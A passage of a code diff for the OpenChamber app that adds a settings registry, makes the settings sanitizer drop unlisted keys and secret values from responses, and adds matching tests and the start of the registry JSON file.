result.toolCallExpansion = mode;
|
||||
}
|
||||
}
|
||||
if (typeof candidate.inputSpellcheckEnabled === 'boolean') {
|
||||
result.inputSpellcheckEnabled = candidate.inputSpellcheckEnabled;
|
||||
}
|
||||
@@ -624,9 +679,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
if (typeof candidate.promptNavigatorEnabled === 'boolean') {
|
||||
result.promptNavigatorEnabled = candidate.promptNavigatorEnabled;
|
||||
}
|
||||
if (typeof candidate.expandedEditorToolbar === 'boolean') {
|
||||
result.expandedEditorToolbar = candidate.expandedEditorToolbar;
|
||||
}
|
||||
if (typeof candidate.wideChatLayoutEnabled === 'boolean') {
|
||||
result.wideChatLayoutEnabled = candidate.wideChatLayoutEnabled;
|
||||
}
|
||||
@@ -729,11 +781,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
}
|
||||
}
|
||||
|
||||
// Message limit — single setting for fetch / trim / Load More chunk
|
||||
if (typeof candidate.messageLimit === 'number' && Number.isFinite(candidate.messageLimit)) {
|
||||
result.messageLimit = Math.max(10, Math.min(500, Math.round(candidate.messageLimit)));
|
||||
}
|
||||
|
||||
const skillCatalogs = sanitizeSkillCatalogs(candidate.skillCatalogs);
|
||||
if (skillCatalogs) {
|
||||
result.skillCatalogs = skillCatalogs;
|
||||
@@ -917,6 +964,16 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
}
|
||||
}
|
||||
|
||||
// The registry is the last word on what a client may persist: a key the
|
||||
// code above still names but the registry no longer lists is dropped here,
|
||||
// so the two cannot drift apart silently (settings-helpers.test.js checks
|
||||
// the other direction).
|
||||
for (const key of Object.keys(result)) {
|
||||
if (!isPersistableSettingsKey(key)) {
|
||||
delete result[key];
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
|
||||
@@ -927,13 +984,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
? current.securityScopedBookmarks
|
||||
: [];
|
||||
|
||||
const nextTypographySizes = changes.typographySizes
|
||||
? {
|
||||
...(current.typographySizes || {}),
|
||||
...changes.typographySizes
|
||||
}
|
||||
: current.typographySizes;
|
||||
|
||||
const next = {
|
||||
...current,
|
||||
...changes,
|
||||
@@ -942,7 +992,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
baseBookmarks.filter((entry) => typeof entry === 'string' && entry.length > 0)
|
||||
)
|
||||
),
|
||||
typographySizes: nextTypographySizes
|
||||
};
|
||||
|
||||
return next;
|
||||
@@ -950,9 +999,12 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
|
||||
const formatSettingsResponse = (settings) => {
|
||||
const sanitized = sanitizeSettingsUpdate(settings);
|
||||
delete sanitized.managedRemoteTunnelToken;
|
||||
for (const key of SECRET_SETTINGS_KEYS) {
|
||||
delete sanitized[key];
|
||||
}
|
||||
const bookmarks = normalizeStringArray(settings.securityScopedBookmarks);
|
||||
const hasManagedRemoteTunnelToken = typeof settings?.managedRemoteTunnelToken === 'string' && settings.managedRemoteTunnelToken.trim().length > 0;
|
||||
const hasDesktopUiPassword = typeof settings?.desktopUiPassword === 'string' && settings.desktopUiPassword.trim().length > 0;
|
||||
const pwaAppName = normalizePwaAppName(settings?.pwaAppName, '');
|
||||
const pwaOrientation = normalizePwaOrientation(settings?.pwaOrientation, 'system');
|
||||
const mobileKeyboardMode = normalizeMobileKeyboardMode(settings?.mobileKeyboardMode, 'native');
|
||||
@@ -962,6 +1014,7 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
return {
|
||||
...sanitized,
|
||||
hasManagedRemoteTunnelToken,
|
||||
hasDesktopUiPassword,
|
||||
// Tells the client whether agent memory exists in this build at all, so
|
||||
// its settings row and panel tab can be absent rather than merely off.
|
||||
agentMemoryFeatureAvailable: isAgentMemoryFeatureAvailable(),
|
||||
@@ -972,7 +1025,6 @@ export const createSettingsHelpers = (dependencies) => {
|
||||
inputHistoryLimit,
|
||||
securityScopedBookmarks: bookmarks,
|
||||
pinnedDirectories: normalizeStringArray(settings.pinnedDirectories),
|
||||
typographySizes: sanitizeTypographySizesPartial(settings.typographySizes),
|
||||
...(process.env.OPENCHAMBER_RUNTIME === 'desktop'
|
||||
? {
|
||||
desktopLanAccessActive: process.env.OPENCHAMBER_DESKTOP_LAN_ACCESS_ACTIVE === 'true',
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { mkdirSync, mkdtempSync, readdirSync, rmSync } from 'node:fs';
|
||||
import { mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath, pathToFileURL } from 'node:url';
|
||||
@@ -69,6 +69,19 @@ const createTestHelpersWithRealSanitizers = () => {
|
||||
};
|
||||
|
||||
describe('settings helpers', () => {
|
||||
it('round-trips telemetry opt-in with the hidden list and preserves it across unrelated writes', () => {
|
||||
const helpers = createTestHelpers();
|
||||
const legacy = helpers.sanitizeSettingsUpdate({ workStatusHiddenSections: [] });
|
||||
expect(legacy.workStatusHiddenSectionsExplicit).toBeUndefined();
|
||||
const changes = helpers.sanitizeSettingsUpdate({ workStatusHiddenSections: [], workStatusHiddenSectionsExplicit: true });
|
||||
const saved = helpers.mergePersistedSettings(legacy, changes);
|
||||
const reloaded = helpers.formatSettingsResponse(JSON.parse(JSON.stringify(saved)));
|
||||
expect(reloaded.workStatusHiddenSections).toEqual([]);
|
||||
expect(reloaded.workStatusHiddenSectionsExplicit).toBe(true);
|
||||
const next = helpers.mergePersistedSettings(reloaded, helpers.sanitizeSettingsUpdate({ workStatusPanelEnabled: false }));
|
||||
expect(helpers.formatSettingsResponse(next).workStatusHiddenSectionsExplicit).toBe(true);
|
||||
expect(helpers.sanitizeSettingsUpdate({ workStatusHiddenSectionsExplicit: 'true' }).workStatusHiddenSectionsExplicit).toBeUndefined();
|
||||
});
|
||||
it('imports from the packed @openchamber/web tarball without escaping the published package', async () => {
|
||||
const tempRoot = mkdtempSync(join(tmpdir(), 'settings-helpers-pack-'));
|
||||
const packDir = join(tempRoot, 'pack');
|
||||
@@ -751,3 +764,155 @@ describe('settings helpers', () => {
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('settings registry gate', () => {
|
||||
const registryPath = join(dirname(testFilePath), 'settings-registry.json');
|
||||
const registry = JSON.parse(readFileSync(registryPath, 'utf8'));
|
||||
const persistableKeys = Object.entries(registry.fields)
|
||||
.filter(([, field]) => !field.computed && !field.local && field.owner !== 'desktop-shell')
|
||||
.map(([key]) => key);
|
||||
|
||||
// One valid value per persistable registry key. The test below fails when a
|
||||
// key is added to the registry without a line here, and when the sanitizer
|
||||
// stops accepting a key the registry still lists — that is the drift the
|
||||
// registry exists to end.
|
||||
const validValues = {
|
||||
themeId: 'openchamber-dark', useSystemTheme: true, themeVariant: 'dark', lightThemeId: 'openchamber-light', darkThemeId: 'openchamber-dark',
|
||||
splashBgLight: '#fff', splashFgLight: '#000', splashBgDark: '#000', splashFgDark: '#fff',
|
||||
lastDirectory: '/home/testuser/project', homeDirectory: '/home/testuser', opencodeBinary: '/usr/local/bin/opencode',
|
||||
projects: [{ id: 'p', path: '/home/testuser/project' }], activeProjectId: 'p',
|
||||
securityScopedBookmarks: ['bookmark'], pinnedDirectories: ['/home/testuser/project'],
|
||||
desktopLanAccessEnabled: true, desktopKeepAwakeEnabled: true, desktopMinimizeToTrayEnabled: true, desktopMacMenuBarEnabled: true,
|
||||
desktopUiPassword: 'secret', githubClientId: 'client', githubScopes: 'repo', skillCatalogs: [{ id: 'c', label: 'C', source: 'https://x' }],
|
||||
defaultGitIdentityId: 'global', permissionAutoAccept: { sessions: { s: true }, revision: 1 },
|
||||
agentControlToolEnabled: true, agentWebToolEnabled: true, agentMemoryToolEnabled: true, openCodeUpdateToastDismissedVersion: '1.0.0',
|
||||
autoDeleteEnabled: true, autoDeleteAfterDays: 30, sessionRetentionAction: 'archive', terminalShell: 'zsh', terminalLoginShells: ['zsh'],
|
||||
openInAppId: 'vscode', dictationEnabled: true, sttProvider: 'local', sttServerUrl: 'http://localhost:8001/v1', sttModel: 'm', sttLocalModel: 'm', sttLanguage: 'en',
|
||||
tunnelProvider: 'cloudflare', tunnelMode: 'quick', tunnelBootstrapTtlMs: 600000, tunnelSessionTtlMs: 86400000, managedLocalTunnelConfigPath: '/tmp/x',
|
||||
managedRemoteTunnelHostname: 'x.example', managedRemoteTunnelToken: 'token', managedRemoteTunnelPresets: [{ id: 'a', name: 'A', hostname: 'a.example' }],
|
||||
managedRemoteTunnelSelectedPresetId: 'a', managedRemoteTunnelPresetTokens: { a: 'token' },
|
||||
sidebarProjectDisplayMode: 'all', sidebarSessionGroupingMode: 'flat', sidebarProjectSortOrder: 'manual', sidebarShowRecentSection: true,
|
||||
workStatusPanelEnabled: true, workStatusHiddenSections: ['mcp'], workStatusHiddenSectionsExplicit: true,
|
||||
showReasoningTraces: true, streamingAutoFollowEnabled: true, collapsibleThinkingBlocks: true, showTextJustificationActivity: true,
|
||||
chatRenderMode: 'live', activityRenderMode: 'summary', mermaidRenderingMode: 'svg', userMessageRenderingMode: 'markdown', collapsibleUserMessages: true,
|
||||
stickyUserHeader: true, promptNavigatorEnabled: true, wideChatLayoutEnabled: true, showSplitAssistantMessageActions: true, showToolFileIcons: true,
|
||||
codeBlockLineWrap: true, showTurnChangedFiles: true, showExpandedBashTools: true, showExpandedEditTools: true, toolJsonViewMode: 'raw',
|
||||
timeFormatPreference: '24h', weekStartPreference: 'monday', messageStreamTransport: 'ws', diffLayoutPreference: 'inline', diffWrapLines: true,
|
||||
gitChangesViewMode: 'tree', gitmojiEnabled: true, defaultFileViewerPreview: true, directoryShowHidden: true, filesViewShowGitignored: true,
|
||||
fileEditorKeymap: 'vim', autoSaveEnabled: true, autoCreateWorktree: true, sessionTabsEnabled: true, showOpenCodeRestartConfirm: true,
|
||||
allowPromptingSubagentSessions: true, inputSpellcheckEnabled: true, enterToSend: true, enterToSendConfigured: true, persistChatDraft: true,
|
||||
largeTextPasteBehavior: 'attach', followUpBehavior: 'steer', queueModeEnabled: true, inputHistoryScope: 'global', inputHistoryLimit: 40,
|
||||
draftStarters: [{ type: 'command', name: 'plan-feature' }], draftStartersVisible: true, draftStartersCraftGoalAdded: true, draftStartersScheduleTaskAdded: true,
|
||||
fontSize: 100, terminalFontSize: 14, editorFontSize: 14, uiFont: 'inter', monoFont: 'jetbrains-mono', padding: 100, cornerRadius: 8,
|
||||
shortcutOverrides: { 'chat.send': 'mod+enter' },
|
||||
defaultModel: 'anthropic/claude', defaultVariant: 'high', defaultAgent: 'build', smallModelUseDefault: false, smallModelOverride: 'anthropic/haiku',
|
||||
walkthroughModelOverride: 'anthropic/claude', zenModel: 'zen/model',
|
||||
favoriteModels: [{ providerID: 'anthropic', modelID: 'claude' }], hiddenModels: [{ providerID: 'openai', modelID: 'gpt' }], collapsedModelProviders: ['openai'],
|
||||
recentModels: [{ providerID: 'anthropic', modelID: 'claude' }], recentAgents: ['build'], recentEfforts: { 'anthropic/claude': ['high'] }, providerOrder: ['anthropic'],
|
||||
sessionRecapEnabled: true, sessionSuggestionEnabled: true, sessionGoalEnabled: true, sessionGoalDefaultBudgetEnabled: true, sessionGoalDefaultBudget: 5,
|
||||
summarizeLastMessage: true, summaryThreshold: 100, summaryLength: 50, maxLastMessageLength: 200, showDeletionDialog: true,
|
||||
nativeNotificationsEnabled: true, notificationMode: 'always', notifyOnSubtasks: true, notifyOnCompletion: true, notifyOnError: true, notifyOnQuestion: true,
|
||||
notificationTemplates: { completion: { title: 't', message: 'm' } }, showOpenCodeUpdateNotifications: true, reportUsage: true,
|
||||
usageDisplayMode: 'usage', usageDropdownProviders: ['anthropic'], usageSelectedModels: { anthropic: ['claude'] }, usageCollapsedFamilies: { anthropic: ['f'] },
|
||||
usageExpandedFamilies: { anthropic: ['f'] }, usageModelGroups: { anthropic: { customGroups: [{ id: 'g', label: 'G', models: ['claude'], order: 0 }] } },
|
||||
globalBehaviorPrompt: 'Be brief.', responseStyleEnabled: true, responseStylePreset: 'concise', responseStyleCustomInstructions: 'x', optimizeSystemPrompt: true,
|
||||
pwaAppName: 'OpenChamber', pwaOrientation: 'portrait', mobileKeyboardMode: 'native', desktopWindowControlsPosition: 'left', desktopWindowControlsStyle: 'classic',
|
||||
inputBarOffset: 10,
|
||||
};
|
||||
|
||||
it('accepts a valid value for every persistable registry key (no server-side drift)', () => {
|
||||
// The shared test helpers stub the injected list sanitizers to `undefined`
|
||||
// (they are covered by their own suites); here they must pass values through
|
||||
// so a key is judged by the sanitizer's own branch, not by a stub.
|
||||
const helpers = createSettingsHelpers({
|
||||
normalizePathForPersistence: (value) => value,
|
||||
normalizeDirectoryPath: (value) => value,
|
||||
normalizeTunnelBootstrapTtlMs: (value) => value,
|
||||
normalizeTunnelSessionTtlMs: (value) => value,
|
||||
normalizeTunnelProvider: (value) => value,
|
||||
normalizeTunnelMode: (value) => value,
|
||||
normalizeOptionalPath: (value) => value,
|
||||
normalizeManagedRemoteTunnelHostname: (value) => value,
|
||||
normalizeManagedRemoteTunnelPresets: (value) => value,
|
||||
normalizeManagedRemoteTunnelPresetTokens: (value) => value,
|
||||
normalizeStringArray: (input) => input,
|
||||
sanitizeModelRefs: (value) => value,
|
||||
sanitizeSkillCatalogs: (value) => value,
|
||||
sanitizeProjects: (value) => value,
|
||||
});
|
||||
const missingFixture = persistableKeys.filter((key) => !(key in validValues));
|
||||
expect(missingFixture).toEqual([]);
|
||||
|
||||
const rejected = persistableKeys.filter((key) => {
|
||||
const result = helpers.sanitizeSettingsUpdate({ [key]: validValues[key] });
|
||||
// `queueModeEnabled` is absorbed into `followUpBehavior` on purpose.
|
||||
const landedAs = key === 'queueModeEnabled' ? 'followUpBehavior' : key;
|
||||
return result[landedAs] === undefined;
|
||||
});
|
||||
expect(rejected).toEqual([]);
|
||||
});
|
||||
|
||||
it('drops keys the registry does not list, computed flags, and desktop-shell-owned keys', () => {
|
||||
const helpers = createTestHelpers();
|
||||
expect(helpers.sanitizeSettingsUpdate({
|
||||
markdownDisplayMode: 'raw',
|
||||
toolCallExpansion: 'collapsed',
|
||||
expandedEditorToolbar: true,
|
||||
typographySizes: { base: 14 },
|
||||
gitProviderId: 'anthropic',
|
||||
gitModelId: 'claude',
|
||||
messageLimit: 200,
|
||||
agentMemoryFeatureAvailable: true,
|
||||
desktopHosts: [],
|
||||
notARealKey: 1,
|
||||
})).toEqual({});
|
||||
});
|
||||
|
||||
it('never returns secret keys from a formatted response', () => {
|
||||
const helpers = createTestHelpers();
|
||||
const secretKeys = Object.entries(registry.fields).filter(([, field]) => field.secret).map(([key]) => key);
|
||||
expect(secretKeys).toContain('managedRemoteTunnelToken');
|
||||
expect(secretKeys).toContain('desktopUiPassword');
|
||||
expect(secretKeys).toContain('managedRemoteTunnelPresetTokens');
|
||||
const response = helpers.formatSettingsResponse({
|
||||
managedRemoteTunnelToken: 'token',
|
||||
desktopUiPassword: 'pw',
|
||||
managedRemoteTunnelPresetTokens: { a: 'tok' },
|
||||
themeId: 'x',
|
||||
});
|
||||
for (const key of secretKeys) {
|
||||
expect(response).not.toHaveProperty(key);
|
||||
}
|
||||
expect(response.hasManagedRemoteTunnelToken).toBe(true);
|
||||
expect(response.hasDesktopUiPassword).toBe(true);
|
||||
expect(helpers.formatSettingsResponse({ desktopUiPassword: '' }).hasDesktopUiPassword).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts the newly shared profile fields', () => {
|
||||
const helpers = createTestHelpersWithRealSanitizers();
|
||||
expect(helpers.sanitizeSettingsUpdate({
|
||||
providerOrder: ['b', 'a', 'a'],
|
||||
diffWrapLines: true,
|
||||
persistChatDraft: false,
|
||||
largeTextPasteBehavior: 'inline',
|
||||
fileEditorKeymap: 'vim',
|
||||
allowPromptingSubagentSessions: true,
|
||||
showOpenCodeRestartConfirm: false,
|
||||
codeBlockLineWrap: true,
|
||||
streamingAutoFollowEnabled: false,
|
||||
autoSaveEnabled: false,
|
||||
})).toEqual({
|
||||
providerOrder: ['b', 'a'],
|
||||
diffWrapLines: true,
|
||||
persistChatDraft: false,
|
||||
largeTextPasteBehavior: 'inline',
|
||||
fileEditorKeymap: 'vim',
|
||||
allowPromptingSubagentSessions: true,
|
||||
showOpenCodeRestartConfirm: false,
|
||||
codeBlockLineWrap: true,
|
||||
streamingAutoFollowEnabled: false,
|
||||
autoSaveEnabled: false,
|
||||
});
|
||||
expect(helpers.sanitizeSettingsUpdate({ largeTextPasteBehavior: 'maybe', fileEditorKeymap: 'emacs' })).toEqual({});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,747 @@
|
||||
{
|
||||
"version": 1,
|
||||
"fields": {
|
||||
"themeId": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"useSystemTheme": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"themeVariant": {
|
||||
"scope": "profile",
|
||||
"derived": true
|
||||
},
|
||||
"lightThemeId": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"darkThemeId": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"lastDirectory": {
|
||||
"scope": "instance",
|
||||
"adopt": "bootstrap-only"
|
||||
},
|
||||
"homeDirectory": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"opencodeBinary": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"projects": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"activeProjectId": {
|
||||
"scope": "instance",
|
||||
"adopt": "bootstrap-only"
|
||||
},
|
||||
"securityScopedBookmarks": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"pinnedDirectories": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"desktopLanAccessEnabled": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopKeepAwakeEnabled": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopMinimizeToTrayEnabled": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopMacMenuBarEnabled": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopUiPassword": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
],
|
||||
"secret": true
|
||||
},
|
||||
"hasDesktopUiPassword": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
],
|
||||
"computed": true
|
||||
},
|
||||
"desktopLanAccessActive": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
],
|
||||
"computed": true
|
||||
},
|
||||
"desktopLanAccessBlockedReason": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
],
|
||||
"computed": true
|
||||
},
|
||||
"githubClientId": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"githubScopes": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"skillCatalogs": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"defaultGitIdentityId": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"permissionAutoAccept": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"agentControlToolEnabled": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"agentWebToolEnabled": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"agentMemoryToolEnabled": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"agentMemoryFeatureAvailable": {
|
||||
"scope": "instance",
|
||||
"computed": true
|
||||
},
|
||||
"openCodeUpdateToastDismissedVersion": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"autoDeleteEnabled": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"autoDeleteAfterDays": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"sessionRetentionAction": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"terminalShell": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"terminalLoginShells": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"openInAppId": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"dictationEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sttProvider": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"sttServerUrl": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"sttModel": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"sttLocalModel": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"sttLanguage": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"tunnelProvider": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"tunnelMode": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"tunnelBootstrapTtlMs": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"tunnelSessionTtlMs": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"managedLocalTunnelConfigPath": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"managedRemoteTunnelHostname": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"managedRemoteTunnelToken": {
|
||||
"scope": "instance",
|
||||
"secret": true
|
||||
},
|
||||
"hasManagedRemoteTunnelToken": {
|
||||
"scope": "instance",
|
||||
"computed": true
|
||||
},
|
||||
"managedRemoteTunnelPresets": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"managedRemoteTunnelSelectedPresetId": {
|
||||
"scope": "instance"
|
||||
},
|
||||
"managedRemoteTunnelPresetTokens": {
|
||||
"scope": "instance",
|
||||
"secret": true
|
||||
},
|
||||
"sidebarProjectDisplayMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sidebarSessionGroupingMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sidebarProjectSortOrder": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sidebarShowRecentSection": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"workStatusPanelEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"workStatusHiddenSections": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"workStatusHiddenSectionsExplicit": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showReasoningTraces": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"streamingAutoFollowEnabled": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"collapsibleThinkingBlocks": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showTextJustificationActivity": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"chatRenderMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"activityRenderMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"mermaidRenderingMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"userMessageRenderingMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"collapsibleUserMessages": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"stickyUserHeader": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"promptNavigatorEnabled": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"wideChatLayoutEnabled": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"showSplitAssistantMessageActions": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showToolFileIcons": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"codeBlockLineWrap": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showTurnChangedFiles": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showExpandedBashTools": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showExpandedEditTools": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"toolJsonViewMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"timeFormatPreference": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"weekStartPreference": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"messageStreamTransport": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"diffLayoutPreference": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"diffWrapLines": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"gitChangesViewMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"gitmojiEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"defaultFileViewerPreview": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"directoryShowHidden": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"filesViewShowGitignored": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"fileEditorKeymap": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"autoSaveEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"autoCreateWorktree": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sessionTabsEnabled": {
|
||||
"scope": "profile",
|
||||
"surfaces": [
|
||||
"web",
|
||||
"desktop",
|
||||
"vscode"
|
||||
]
|
||||
},
|
||||
"showOpenCodeRestartConfirm": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"allowPromptingSubagentSessions": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"inputSpellcheckEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"enterToSend": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"enterToSendConfigured": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"persistChatDraft": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"largeTextPasteBehavior": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"followUpBehavior": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"queueModeEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"inputHistoryScope": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"inputHistoryLimit": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"draftStarters": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"draftStartersVisible": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"draftStartersCraftGoalAdded": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"draftStartersScheduleTaskAdded": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"fontSize": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"terminalFontSize": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"editorFontSize": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"uiFont": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"monoFont": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"padding": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"cornerRadius": {
|
||||
"scope": "profile",
|
||||
"perSurface": true
|
||||
},
|
||||
"shortcutOverrides": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"defaultModel": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"defaultVariant": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"defaultAgent": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"smallModelUseDefault": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"smallModelOverride": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"walkthroughModelOverride": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"zenModel": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"favoriteModels": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"hiddenModels": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"collapsedModelProviders": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"recentModels": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"recentAgents": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"recentEfforts": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"providerOrder": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sessionRecapEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sessionSuggestionEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sessionGoalEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sessionGoalDefaultBudgetEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"sessionGoalDefaultBudget": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"summarizeLastMessage": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"summaryThreshold": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"summaryLength": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"maxLastMessageLength": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showDeletionDialog": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"nativeNotificationsEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"notificationMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"notifyOnSubtasks": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"notifyOnCompletion": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"notifyOnError": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"notifyOnQuestion": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"notificationTemplates": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"showOpenCodeUpdateNotifications": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"reportUsage": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"usageDisplayMode": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"usageDropdownProviders": {
|
||||
